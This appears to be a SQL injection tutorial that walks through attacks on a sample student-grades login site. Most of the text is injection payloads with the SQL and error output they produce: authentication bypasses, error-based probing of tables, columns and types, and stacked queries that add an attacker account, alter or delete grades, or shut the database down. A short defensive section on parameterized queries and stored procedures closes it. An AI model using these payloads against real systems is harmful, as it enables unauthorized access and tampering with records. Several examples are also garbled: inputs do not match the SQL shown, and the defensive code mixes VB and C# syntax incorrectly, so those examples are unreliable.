strSQL="UPDATE students SET usename='John Doe' WHERE studentid=" & cstr(student_id)
Characters | Description |
---|---|
' -- (--%20) ; /* ( or ) a |
Single quote.
Used to delineate a query with an unmatched quote. Single line comment. Ignores the remainder of the statement. Terminate a query. A prematurely terminated query creates an error. Comment delimiter. Text within comment delimiters is ignored. Parentheses. Used to group a logical subclause. Unmatched parentheses will create an error. Any alphabet character will generate an error is used in a numeric comparison. |
UPDATE tblname SET password = '" + newPassword + "' WHERE username = '" + userName + "' AND password = '" + oldPassword + "'"In this case the name of the attacker currently logged-in is ''admin'--'", and the above SQL statement will then be read as:
UPDATE users SET password='newpassword' WHERE userName= 'admin'--' AND password='oldpassword'Since the "--"is the SQL comment operator, everything after it will be ignored by the SQL engine. Consequently, the attacker's SQL statement will change the administrator's username ("admin") to an attacker-specified value.
Probing column name
Input (username): 'ddd"
Sql: SELECT * FROM students WHERE username = 'ddd"' AND password =
Result:"Incorrect syntax near 'ddd'. Unclosed quotation mark after the character string '' AND Password='aaa''."
Username known
Input (username): jdoe' or '1'='1--
Sql: SELECT * FROM students WHERE username = 'jdoe' or '1'='1' -- AND password =
Result: All students are retrieved.
Both username and password not known
Input (username): ' or '' = '
Input (password): ' or '' = '
Sql: select * from students where username = '' or '' = '' and password = '' or '' = ''
Result: All students are retrieved.
normal SQL statement + "semi-colon" + UNION SELECT <rest of injected query>.
normal SQL statement + ";" + INSERT (or UPDATE, DELETE, DROP) <rest of injected query>
normal SQL statement + "; SHUTDOWN; " <rest of injected query>
Many applications that implement a forms-based login function use a database to store user credentials and perform a simple SQL query to validate each login attempt. For example, the Grade Central site authenticates student's username and password. If the login succeeds, grades will be displayed; if not, the message "Login failed: Invalid credentials" will be returned.
Probing column name (try 1 of 3)
Input (username): 'ddd"
Input (password): aaa
Sql: SELECT * FROM students WHERE username = 'ddd"' AND password =
Result:"Incorrect syntax near 'ddd'. Unclosed quotation mark after the character string '' AND Password='aaa''."
Probing table and/or column name (try 2 of 3)
Input (username): ddd' group by (password)--
Sql: SELECT * FROM students WHERE username = 'ddd' group by (password)-- ...
Result: "Column 'Students.studentId' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause."
Probing table and/or column name (try 3 of 3)
Input (username): ddd' group by (studentid)--
Sql: SELECT * FROM students WHERE studentid = 'ddd' group by (studentid) -- ...
Result: "Column 'Students.username is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause."
Probing the number of columns in a table (try 1 of 3)
Input (username): studentid=ddd' union select username from students --
Sql: SELECT * FROM students WHERE studentid = 'ddd' union select username from students -- ...
Result: "All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists."
Probing the number of columns in a table (try 2 of 3)
Input (username): studentid=ddd' union select username,password from students --
Sql: SELECT * FROM students WHERE studentid = 'ddd' union select username,username from students -- ...
Result: "All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists."
Probing the number of columns in a table (try 3 of 3)
Input (username): studentid=ddd' union select username,password,studentid from students --
Sql: SELECT * FROM students WHERE studentid = 'ddd' union select username,username,username from students -- ...
Result: "Login failed: Invalid credentials"
Probing data type (try 1 of 3)
Input (username): studentid=ddd' compute sum(username)--
Sql: SELECT * FROM students WHERE username = 'ddd' studentid=ddd' compute sum(username)-- ...
Result: "Operand data type varchar is invalid for sum operator."
Probing data type (try 2 of 3)
Input (username): studentid=ddd' compute sum(password)--
Sql: studentid=ddd' union select sum(username) from students-- ...
Result: "Operand data type varchar is invalid for sum operator."
Probing data type (try 3 of 3)
Input (username): studentid=ddd' compute sum(studentid)--
Sql: SELECT * FROM students WHERE username = 'ddd' compute sum(studentid)-- ...
Result:"Login failed: Invalid credentials"
Retrieving all grades when "username" known
Input (username): test1' or '1'='1'--
Sql: SELECT * FROM students WHERE username = 'test1' or '1'='1' -- AND password =
Result: All grades are retrieved.
Retrieving all grades when both "username" and "password" not known
Input (username): ' or ' ' = '
Input (password): ' or ' ' = '
Sql: select * from students where username = ' ' or ' ' = ' ' and password = ' ' or ' ' = ' '
Result: All grades are retrieved.
Add a new student account
'or 1=1; SET IDENTITY_INSERT Students ON INSERT INTO Students (StudentID, Username, Password) VALUES (attacker studentid, 'attacker username','attacker password');--
Modify existing student grades
'or 1=1; UPDATE Grades SET grade='attacker grade' WHERE studentId=attacker studentid;--
Delete existing student grades
'or 1=1; DELETE FROM Grades WHERE course='attacker class' AND studentId=attacker studentid;--
private void UseCommandObject()Note: Are parameterized queries or PDO prepared statements enough to prevent Sql injections? Some say yes, while some say no. In any case, if the input is not being stored or cycled down the pipeline, then the parameterized queries are generally sufficient; otherwise, always sanitize the input.
{
Dim strSQL as String sql
Dim SqlCommand As OleDbCommand
cmdSQL = New SQLDbCommand()
strSQL = "SELECT * FROM tblUSER "
sql += " WHERE USERId = @UserId"
cmdSQL.CommandText = strSQL
cmdSQL.Parameters.Add(new SqlParameter("@UserId","Test"));
cmdSQL.Connection = new SqlConnection("Server=Localhost;Database=Northwind; +
Integrated Security=Yes")
cmdSQL.ExecuteNonQuery()
}
CREATE PROCEDURE GetStudents @StudentID INT
AS
SELECT * FROM dbo.Students WHERE StudentID = @StudentID
GO GRANT EXECUTE ON GetStudents TO Grades GO
Using command = New SqlCommand("GetStudents", conn)
command.CommandType = CommandType.StoredProcedure
command.Parameters.Add("@StudentID", SqlDbType.Int).Value = StudentID
command.Connection.Open()